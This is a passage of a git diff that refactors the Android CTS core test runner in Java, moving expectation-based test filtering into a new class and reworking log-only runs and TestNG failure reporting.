         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java b/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
index d995fd9..42b6684 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
@@ -27,20 +27,21 @@
 import com.android.cts.core.runner.support.ExtendedAndroidRunnerBuilder;
 import com.google.common.base.Splitter;
 import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
-import java.util.LinkedHashSet;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
-import java.util.HashSet;
-import javax.annotation.Nullable;
 import org.junit.runner.Computer;
 import org.junit.runner.JUnitCore;
 import org.junit.runner.Request;
+import org.junit.runner.Result;
 import org.junit.runner.Runner;
 import org.junit.runner.manipulation.Filter;
 import org.junit.runner.manipulation.Filterable;
@@ -48,8 +49,6 @@
 import org.junit.runner.notification.RunListener;
 import org.junit.runners.model.InitializationError;
 import org.junit.runners.model.RunnerBuilder;
-import vogar.ExpectationStore;
-import vogar.ModeId;
 
 import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_COUNT;
 import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_DEBUG;
@@ -69,12 +68,10 @@
  */
 public class CoreTestRunner extends Instrumentation {
 
-    public static final String TAG = "LibcoreTestRunner";
+    static final String TAG = "LibcoreTestRunner";
 
     private static final java.lang.String ARGUMENT_ROOT_CLASSES = "core-root-classes";
 
-    private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
-
     private static final String ARGUMENT_CORE_LISTENER = "core-listener";
 
     private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
@@ -82,22 +79,13 @@
     /** The args for the runner. */
     private Bundle args;
 
-    /** Only count the number of tests, and not run them. */
-    private boolean testCountOnly;
-
-    /** Only log the number of tests, and not run them. */
+    /** Only log the number and names of tests, and not run them. */
     private boolean logOnly;
 
     /** The amount of time in millis to wait for a single test to complete. */
     private long testTimeout;
 
     /**
-     * The container for any test expectations.
-     */
-    @Nullable
-    private ExpectationStore expectationStore;
-
-    /**
      * The list of tests to run.
      */
     private TestList testList;
@@ -106,6 +94,7 @@
      * The list of {@link RunListener} classes to create.
      */
     private List<Class<? extends RunListener>> listenerClasses;
+    private Filter expectationFilter;
 
     @Override
     public void onCreate(final Bundle args) {
@@ -123,19 +112,16 @@
         // unparceled.
         Log.d(TAG, "In OnCreate: " + args);
 
-        this.logOnly = "true".equalsIgnoreCase(args.getString(ARGUMENT_LOG_ONLY));
-        this.testCountOnly = args.getBoolean(ARGUMENT_COUNT);
+        // Treat logOnly and count as the same. This is not quite true as count should only send
+        // the host the number of tests but logOnly should send the name and number. However,
+        // this is how this has always behaved and it does not appear to have caused any problems.
+        // Changing it seems unnecessary given that count is CTSv1 only and CTSv1 will be removed
+        // soon now that CTSv2 is ready.
+        boolean testCountOnly = args.getBoolean(ARGUMENT_COUNT);
+        this.logOnly = "true".equalsIgnoreCase(args.getString(ARGUMENT_LOG_ONLY)) || testCountOnly;
         this.testTimeout = parseUnsignedLong(args.getString(ARGUMENT_TIMEOUT), ARGUMENT_TIMEOUT);
 
-        try {
-            // Get the set of resource names containing the expectations.
-            Set<String> expectationResources = new LinkedHashSet<>(
-                    getExpectationResourcePaths(args));
-            expectationStore = ExpectationStore.parseResources(
-                    getClass(), expectationResources, ModeId.DEVICE);
-        } catch (IOException e) {
-            Log.e(TAG, "Could not initialize ExpectationStore: ", e);
-        }
+        expectationFilter = new ExpectationBasedFilter(args);
 
         // The test can be run specifying a list of tests to run, or as cts-tradefed does it,
         // by passing a fileName with a test to run on each line.
@@ -220,11 +206,7 @@
         start();
     }
 
-    protected List<String> getExpectationResourcePaths(Bundle args) {
-        return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
-    }
-
-    protected List<String> getRootClassNames(Bundle args) {
+    private List<String> getRootClassNames(Bundle args) {
         String rootClasses = args.getString(ARGUMENT_ROOT_CLASSES);
         List<String> roots;
         if (rootClasses == null) {
@@ -237,40 +219,46 @@
 
     @Override
     public void onStart() {
-        if (logOnly || testCountOnly) {
+        if (logOnly) {
             Log.d(TAG, "Counting/logging tests only");
         } else {
             Log.d(TAG, "Running tests");
         }
 
         AndroidRunnerParams runnerParams = new AndroidRunnerParams(this, args,
-                logOnly || testCountOnly, testTimeout, false /*ignoreSuiteMethods*/);
+                false, testTimeout, false /*ignoreSuiteMethods*/);
 
-        JUnitCore core = new JUnitCore();
-
-        Request request;
+        Runner runner;
         try {
             RunnerBuilder runnerBuilder = new ExtendedAndroidRunnerBuilder(runnerParams);
             Class[] classes = testList.getClassesToRun();
             for (Class cls : classes) {
               Log.d(TAG, "Found class to run: " + cls.getName());
             }
-            Runner suite = new Computer().getSuite(runnerBuilder, classes);
+            runner = new Computer().getSuite(runnerBuilder, classes);
 
-            if (suite instanceof Filterable) {
-                Filterable filterable = (Filterable) suite;
+            if (runner instanceof Filterable) {
+                Log.d(TAG, "Applying filters");
+                Filterable filterable = (Filterable) runner;
 
                 // Filter out all the tests that are expected to fail.
-                Filter filter = new TestFilter(testList, expectationStore);
-
                 try {
-                    filterable.filter(filter);
+                    filterable.filter(expectationFilter);
                 } catch (NoTestsRemainException e) {
                     // Sometimes filtering will remove all tests but we do not care about that.
                 }
+                Log.d(TAG, "Applied filters");
             }
 
-            request = Request.runner(suite);
+            // If the tests are only supposed to be logged and not actually run then replace the
+            // runner with a runner that will fire notifications for all the tests that would have
+            // been run. This is needed because CTSv2 does a log only run through a CTS module in
+            // order to generate a list of tests that will be run so that it can monitor them.
+            // Encapsulating that in a Runner implementation makes it easier to leverage the
+            // existing code for running tests.
+            if (logOnly) {
+                runner = new DescriptionHierarchyNotifier(runner.getDescription());
+            }
 
         } catch (InitializationError e) {
             throw new RuntimeException("Could not create a suite", e);
@@ -279,31 +267,52 @@
         InstrumentationResultPrinter instrumentationResultPrinter =
                 new InstrumentationResultPrinter();
         instrumentationResultPrinter.setInstrumentation(this);
+
+        JUnitCore core = new JUnitCore();
         core.addListener(instrumentationResultPrinter);
 
-        for (Class<? extends RunListener> listenerClass : listenerClasses) {
-            try {
-                RunListener runListener = listenerClass.newInstance();
-                if (runListener instanceof InstrumentationRunListener) {
-                    ((InstrumentationRunListener) runListener).setInstrumentation(this);
+        // If not logging the list of tests then add any additional configured listeners. These
+        // must be added before firing any events.
+        if (!logOnly) {
+            // Add additional configured listeners.
+            for (Class<? extends RunListener> listenerClass : listenerClasses) {
+                try {
+                    RunListener runListener = listenerClass.newInstance();
+                    if (runListener instanceof InstrumentationRunListener) {
+                        ((InstrumentationRunListener) runListener).setInstrumentation(this);
+                    }
+                    core.addListener(runListener);
+                } catch (InstantiationException | IllegalAccessException e) {
+                    Log.e(TAG,
+                            "Could not create instance of listener: " + listenerClass, e);
                 }
-                core.addListener(runListener);
-            } catch (InstantiationException | IllegalAccessException e) {
-                Log.e(TAG, "Could not create instance of listener: " + listenerClass, e);
             }
         }
 
+        Log.d(TAG, "Finished preparations, running/listing tests");
+
         Bundle results = new Bundle();
+        Result junitResults = new Result();
         try {
-            core.run(request);
+            junitResults = core.run(Request.runner(runner));
         } catch (RuntimeException e) {
             final String msg = "Fatal exception when running tests";
             Log.e(TAG, msg, e);
             // report the exception to instrumentation out
             results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
                     msg + "\n" + Log.getStackTraceString(e));
+        } finally {
+            ByteArrayOutputStream summaryStream = new ByteArrayOutputStream();
+            // create the stream used to output summary data to the user
+            PrintStream summaryWriter = new PrintStream(summaryStream);
+            instrumentationResultPrinter.instrumentationRunFinished(summaryWriter,
+                    results, junitResults);
+            summaryWriter.close();
+            results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
+                    String.format("\n%s", summaryStream.toString()));
         }
 
+
         Log.d(TAG, "Finished");
         finish(Activity.RESULT_OK, results);
     }
@@ -343,5 +352,4 @@
         }
         return -1;
     }
-
 }
diff --git a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java b/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
new file mode 100644
index 0000000..5c94fd7
--- /dev/null
+++ b/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.core.runner;
+
+import java.util.List;
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.notification.RunNotifier;
+
+/**
+ * A {@link Runner} that does not actually run any tests but simply fires events for all leaf
+ * {@link Description} instances in the supplied {@link Description} hierarchy.
+ */
+class DescriptionHierarchyNotifier extends Runner {
+
+    private final Description description;
+
+    DescriptionHierarchyNotifier(Description description) {
+        this.description = description;
+    }
+
+    @Override
+    public Description getDescription() {
+        return description;
+    }
+
+    @Override
+    public void run(RunNotifier notifier) {
+        generateListOfTests(notifier, description);
+    }
+
+    /**
+     * Generates a list of tests to run by recursing over the {@link Description} hierarchy and
+     * firing events to simulate the tests being run successfully.
+     * @param runNotifier the notifier to which the events are sent.
+     * @param description the description to traverse.
+     */
+    private void generateListOfTests(RunNotifier runNotifier, Description description) {
+        List<Description> children = description.getChildren();
+        if (children.isEmpty()) {
+            runNotifier.fireTestStarted(description);
+            runNotifier.fireTestFinished(description);
+        } else {
+            for (Description child : children) {
+                generateListOfTests(runNotifier, child);
+            }
+        }
+    }
+}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
new file mode 100644
index 0000000..90034ec
--- /dev/null
+++ b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.core.runner;
+
+import android.os.Bundle;
+import android.util.Log;
+import com.google.common.base.Splitter;
+import java.io.IOException;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import javax.annotation.Nullable;
+import org.junit.runner.Description;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runners.ParentRunner;
+import org.junit.runners.Suite;
+import vogar.Expectation;
+import vogar.ExpectationStore;
+import vogar.ModeId;
+import vogar.Result;
+
+/**
+ * Filter out tests/classes that are not requested or which are expected to fail.
+ *
+ * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
+ * something like this:
+ * <pre>
+ * Suite
+ *     Suite
+ *         Suite
+ *             ParentRunner
+ *                 Test
+ *                 ...
+ *             ...
+ *         ParentRunner
+ *             Test
+ *             ...
+ *         ...
+ *     Suite
+ *         ParentRunner
+ *             Test
+ *             ...
+ *         ...
+ *     ...
+ * </pre>
+ *
+ * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
+ * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
+ * the leaf nodes.
+ */
+class ExpectationBasedFilter extends Filter {
+
+    static final String TAG = "ExpectationBasedFilter";
+
+    private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
+
+    private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
+
+    private final ExpectationStore expectationStore;
+
+    private static List<String> getExpectationResourcePaths(Bundle args) {
+        return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
+    }
+
+    public ExpectationBasedFilter(Bundle args) {
+        ExpectationStore expectationStore = null;
+        try {
+            // Get the set of resource names containing the expectations.
+            Set<String> expectationResources = new LinkedHashSet<>(
+                getExpectationResourcePaths(args));
+            Log.i(TAG, "Loading expectations from: " + expectationResources);
+            expectationStore = ExpectationStore.parseResources(
+                getClass(), expectationResources, ModeId.DEVICE);
+        } catch (IOException e) {
+            Log.e(TAG, "Could not initialize ExpectationStore: ", e);
+        }
+
+        this.expectationStore = expectationStore;
+    }
+
+    @Override
+    public boolean shouldRun(Description description) {
+        // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
+        // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
+        // visited in the case when we are traversing the hierarchy of classes.
+        Description testDescription = getTestDescription(description);
+        if (testDescription != null) {
+            String className = testDescription.getClassName();
+            String methodName = testDescription.getMethodName();
+            String testName = className + "#" + methodName;
+
+            if (expectationStore != null) {
+                Expectation expectation = expectationStore.get(testName);
+                if (expectation.getResult() != Result.SUCCESS) {
+                    Log.d(CoreTestRunner.TAG, "Excluding test " + testDescription
+                            + " as it matches expectation: " + expectation);
+                    return false;
+                }
+            }
+        }
+
+        return true;
+    }
+
+    private Description getTestDescription(Description description) {
+        List<Description> children = description.getChildren();
+        // An empty description is by definition a test.
+        if (children.isEmpty()) {
+            return description;
+        }
+
+        // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
+        // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
+        // (where each Throwable corresponds to a test called initializationError) and so its
+        // description contains children, one for each Throwable, and so is not treated as a test
+        // to filter. Unfortunately, it does not support Filterable so this filter is never applied
+        // to its children.
+        // See https://github.com/junit-team/junit/issues/1253
+        Description child = children.get(0);
+        String methodName = child.getMethodName();
+        if ("initializationError".equals(methodName)) {
+            return child;
+        }
+
+        return null;
+    }
+
+    @Override
+    public String describe() {
+        return "TestFilter";
+    }
+}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestFilter.java b/tests/core/runner/src/com/android/cts/core/runner/TestFilter.java
deleted file mode 100644
index 8cadbcf..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestFilter.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.util.Log;
-import java.util.List;
-import javax.annotation.Nullable;
-import org.junit.runner.Description;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runners.ParentRunner;
-import org.junit.runners.Suite;
-import vogar.Expectation;
-import vogar.ExpectationStore;
-import vogar.Result;
-
-/**
- * Filter out tests/classes that are not requested or which are expected to fail.
- *
- * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
- * something like this:
- * <pre>
- * Suite
- *     Suite
- *         Suite
- *             ParentRunner
- *                 Test
- *                 ...
- *             ...
- *         ParentRunner
- *             Test
- *             ...
- *         ...
- *     Suite
- *         ParentRunner
- *             Test
- *             ...
- *         ...
- *     ...
- * </pre>
- *
- * <p>And also a flatter hierarchy that looks like this (in CTSv1):
- * Runner
- * Test
- * ...
- * ...
- *
- * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
- * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
- * the leaf nodes.
- */
-class TestFilter extends Filter {
-
-    private final ExpectationStore expectationStore;
-
-    private final TestList testList;
-
-    public TestFilter(TestList testList, @Nullable ExpectationStore expectationStore) {
-        this.expectationStore = expectationStore;
-        this.testList = testList;
-    }
-
-    @Override
-    public boolean shouldRun(Description description) {
-        // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
-        // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
-        // visited in the case when we are traversing the hierarchy of classes.
-        Description testDescription = getTestDescription(description);
-        if (testDescription != null) {
-            String className = testDescription.getClassName();
-            String methodName = testDescription.getMethodName();
-            String testName = className + "#" + methodName;
-
-            // If the test isn't in the list of tests to run then do not run it.
-            if (!testList.shouldRunTest(testName)) {
-                return false;
-            }
-
-            if (expectationStore != null) {
-                Expectation expectation = expectationStore.get(testName);
-                if (expectation.getResult() != Result.SUCCESS) {
-                    Log.d(CoreTestRunner.TAG, "Excluding test " + testDescription
-                            + " as it matches expectation: " + expectation);
-                    return false;
-                }
-            }
-        }
-
-        return true;
-    }
-
-    private Description getTestDescription(Description description) {
-        List<Description> children = description.getChildren();
-        // An empty description is by definition a test.
-        if (children.isEmpty()) {
-            return description;
-        }
-
-        // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
-        // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
-        // (where each Throwable corresponds to a test called initializationError) and so its
-        // description contains children, one for each Throwable, and so is not treated as a test
-        // to filter. Unfortunately, it does not support Filterable so this filter is never applied
-        // to its children.
-        // See https://github.com/junit-team/junit/issues/1253
-        Description child = children.get(0);
-        String methodName = child.getMethodName();
-        if ("initializationError".equals(methodName)) {
-            return child;
-        }
-
-        return null;
-    }
-
-    @Override
-    public String describe() {
-        return "TestFilter";
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidLogOnlyBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidLogOnlyBuilder.java
deleted file mode 100644
index 956ebff..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidLogOnlyBuilder.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.runner.AndroidLogOnlyBuilder;
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.support.test.runner.AndroidJUnit4;
-import junit.framework.TestCase;
-import org.junit.runner.RunWith;
-import org.junit.runner.Runner;
-import org.junit.runners.Parameterized;
-import org.junit.runners.BlockJUnit4ClassRunner;
-import org.junit.runners.JUnit4;
-import org.junit.runners.model.RunnerBuilder;
-import org.junit.runners.Suite;
-
-import static android.support.test.internal.util.AndroidRunnerBuilderUtil.isJUnit3Test;
-import static android.support.test.internal.util.AndroidRunnerBuilderUtil.isJUnit3TestSuite;
-
-/**
- * Extends {@link AndroidLogOnlyBuilder} to add support for passing the
- * {@link AndroidRunnerParams} object to the constructor of any {@link RunnerBuilder}
- * implementation that is not a {@link BlockJUnit4ClassRunner}.
- *
- * <p>If {@link AndroidRunnerParams#isSkipExecution()} is {@code true} the super class will create
- * a {@link RunnerBuilder} that will fire appropriate events as if the tests are being run but will
- * not actually run the test. Unfortunately, when it does that it appears to assume that the runner
- * extends {@link BlockJUnit4ClassRunner}, returns a skipping {@link RunnerBuilder} appropriate for
- * that and ignores the actual {@code runnerClass}. That is a problem because it will not work for
- * custom {@link RunnerBuilder} instances that do not extend {@link BlockJUnit4ClassRunner}.
- *
- * <p>Therefore, when skipping execution this does some additional checks to make sure that the
- * {@code runnerClass} does extend {@link BlockJUnit4ClassRunner} before calling the overridden
- * method.
- *
- * <p>It then attempts to construct a {@link RunnerBuilder} by calling the constructor with the
- * signature {@code <init>(Class, AndroidRunnerParams)}. If that doesn't exist it falls back to
- * the overridden behavior.
- *
- * <p>Another unfortunate behavior of the {@link AndroidLogOnlyBuilder} is that it assumes the
- * {@link Parameterized} class has a field called DEFAULT_FACTORY. That field is only present
- * in JUnit 4.12, and not JUnit 4.10 used by tests run by CoreTestRunner.
- * Therefore these tests are actually skipped by this class and executed even though
- * isSkipExecution is true.
- */
-class ExtendedAndroidLogOnlyBuilder extends AndroidLogOnlyBuilder {
-
-    private final AndroidRunnerParams runnerParams;
-
-    public ExtendedAndroidLogOnlyBuilder(AndroidRunnerParams runnerParams) {
-        super(runnerParams);
-        this.runnerParams = runnerParams;
-    }
-
-    @Override
-    public Runner runnerForClass(Class<?> testClass) throws Throwable {
-        if (!runnerParams.isSkipExecution() ||
-                isJUnit3Test(testClass) || isJUnit3TestSuite(testClass)) {
-            return super.runnerForClass(testClass);
-        }
-
-        RunWith annotation = testClass.getAnnotation(RunWith.class);
-
-        if (annotation != null) {
-            Class<? extends Runner> runnerClass = annotation.value();
-            if (runnerClass == AndroidJUnit4.class || runnerClass == JUnit4.class
-                    || TestCase.class.isAssignableFrom(testClass)) {
-                return super.runnerForClass(testClass);
-            }
-            try {
-                // b/28606746 try to build an AndroidJUnit4 runner to avoid BlockJUnit4ClassRunner
-                return runnerClass.getConstructor(Class.class, AndroidRunnerParams.class).newInstance(
-                    testClass, runnerParams);
-            } catch (NoSuchMethodException e) {
-                // Let the super class handle the error for us and throw an InitializationError
-                // exception. Returning null means that this test will be executed.
-                // b/28606746 Some parameterized tests that cannot be skipped fall through this
-                return null;
-            }
-        }
-        return super.runnerForClass(testClass);
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
index 58ef951..a2f95e2 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.core.runner.support;
 
-import android.support.test.internal.runner.AndroidLogOnlyBuilder;
 import android.support.test.internal.util.AndroidRunnerParams;
 import android.util.Log;
 import org.junit.runners.model.RunnerBuilder;
@@ -28,7 +27,6 @@
  */
 public class ExtendedAndroidRunnerBuilder extends AndroidRunnerBuilder {
 
-    private final ExtendedAndroidLogOnlyBuilder androidLogOnlyBuilder;
     private static final boolean DEBUG = false;
 
     private final TestNgRunnerBuilder mTestNgBuilder;
@@ -38,8 +36,7 @@
      */
     public ExtendedAndroidRunnerBuilder(AndroidRunnerParams runnerParams) {
         super(runnerParams, false /* CTSv1 filtered out Test suite() classes. */);
-        androidLogOnlyBuilder = new ExtendedAndroidLogOnlyBuilder(runnerParams);
-        mTestNgBuilder = new TestNgRunnerBuilder(runnerParams);
+        mTestNgBuilder = new TestNgRunnerBuilder();
     }
 
     @Override
@@ -48,26 +45,15 @@
         Log.d("ExAndRunBuild", "runnerForClass: Searching runner for class " + testClass.getName());
       }
 
-      Runner runner;
       // Give TestNG tests a chance to participate in the Runner search first.
       // (Note that the TestNG runner handles log-only runs by itself)
-      runner = mTestNgBuilder.runnerForClass(testClass);
-      if (runner != null) {
-        logFoundRunner(runner);
-        return runner;
+      Runner runner = mTestNgBuilder.runnerForClass(testClass);
+      if (runner == null) {
+        // Use the normal Runner search mechanism (for Junit tests).
+        runner = super.runnerForClass(testClass);
       }
 
-      // Check if this is a dry-run with -e log true argument passed to the runner.
-      runner = androidLogOnlyBuilder.runnerForClass(testClass);
-      if (runner != null) {
-        logFoundRunner(runner);
-        return runner;
-      }
-
-      // Use the normal Runner search mechanism (for Junit tests).
-      runner = super.runnerForClass(testClass);
       logFoundRunner(runner);
-
       return runner;
     }
 
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
index 5568d08..7a68a8b 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
@@ -17,6 +17,9 @@
 package com.android.cts.core.runner.support;
 
 import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
 
 /**
  * Listener for TestNG runs that provides gtest-like console output.
@@ -30,6 +33,8 @@
 public class SingleTestNGTestRunListener implements org.testng.ITestListener {
     private int mTestStarted = 0;
 
+    private Map<String, Throwable> failures = new LinkedHashMap<>();
+
     private static class Prefixes {
         @SuppressWarnings("unused")
         private static final String INFORMATIONAL_MARKER =  "[----------]";
@@ -45,6 +50,10 @@
       return mTestStarted;
     }
 
+    public Map<String, Throwable> getFailures() {
+        return Collections.unmodifiableMap(failures);
+    }
+
     @Override
     public void onFinish(org.testng.ITestContext context) {
         System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
@@ -68,8 +77,11 @@
         // failure at the end.
         //
         // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
+        String id = getId(result);
+        Throwable throwable = result.getThrowable();
         System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
-              getId(result), stringify(result.getThrowable())));
+                id, stringify(throwable)));
+        failures.put(id, throwable);
     }
 
     @Override
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
index ccab7b0..deb18df 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
@@ -24,9 +24,11 @@
 import org.testng.xml.XmlSuite;
 import org.testng.xml.XmlTest;
 
-import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Test executor to run a single TestNG test method.
@@ -35,7 +37,7 @@
     // Execute any method which is in the class klass.
     // The klass is passed in separately to handle inherited methods only.
     // Returns true if all tests pass, false otherwise.
-    public static boolean execute(Class<?> klass, String methodName) {
+    public static Result execute(Class<?> klass, String methodName) {
         if (klass == null) {
           throw new NullPointerException("klass must not be null");
         }
@@ -64,7 +66,7 @@
               " had 0 tests executed. Not a test method?");
         }
 
-        return !testng.hasFailure();
+        return new Result(testng.hasFailure(), listener.getFailures());
     }
 
     private static org.testng.TestNG createTestNG(String klass, String method,
@@ -108,4 +110,23 @@
 
         return testng;
     }
+
+    public static class Result {
+        private final boolean hasFailure;
+        private final Map<String,Throwable> failures;
+
+
+        Result(boolean hasFailure, Map<String, Throwable> failures) {
+            this.hasFailure = hasFailure;
+            this.failures = Collections.unmodifiableMap(new LinkedHashMap<>(failures));
+        }
+
+        public boolean hasFailure() {
+            return hasFailure;
+        }
+
+        public Map<String, Throwable> getFailures() {
+            return failures;
+        }
+    }
 }
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
index eff9d3c..d9bf037 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.core.runner.support;
 
-import android.support.test.internal.util.AndroidRunnerParams;
 import android.util.Log;
 
 import org.junit.runner.Description;
@@ -30,6 +29,7 @@
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
 import java.util.HashSet;
+import java.util.Map;
 
 /**
  * A {@link Runner} that can TestNG tests.
@@ -42,23 +42,18 @@
 
   private static final boolean DEBUG = false;
 
-  private static final String TESTNG_TEST = "org.testng.annotations.Test";
-
   private Description mDescription;
   /** Class name for debugging. */
   private String mClassName;
   /** Don't include the same method names twice. */
   private HashSet<String> mMethodSet = new HashSet<>();
-  /** Don't actually run the test if this is true, just report passing. */
-  private final boolean mSkipExecution;
 
   /**
-   * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
+   * @param testClass the test class to run
    */
-  TestNgRunner(Class<?> testClass, boolean skipExecution) {
+  TestNgRunner(Class<?> testClass) {
     mDescription = generateTestNgDescription(testClass);
     mClassName = testClass.getName();
-    mSkipExecution = skipExecution;
   }
 
   // Runner implementation
@@ -118,25 +113,45 @@
 
       notifier.fireTestStarted(child);
 
-      // CTS has a phase where it "collects" all the tests first.
-      // Just report that the test passes without actually running it here.
-      if (mSkipExecution) {
-        notifier.fireTestFinished(child);
-        continue;
+      // Avoid looking at all the methods by just using the string method name.
+      SingleTestNgTestExecutor.Result result = SingleTestNgTestExecutor.execute(klass, methodName);
+      if (result.hasFailure()) {
+        // TODO: get the error messages from testng somehow.
+        notifier.fireTestFailure(new Failure(child, extractException(result.getFailures())));
       }
 
-      // Avoid looking at all the methods by just using the string method name.
-      if (!SingleTestNgTestExecutor.execute(klass, methodName)) {
-        // TODO: get the error messages from testng somehow.
-        notifier.fireTestFailure(new Failure(child, new AssertionError()));
-      }
-      else {
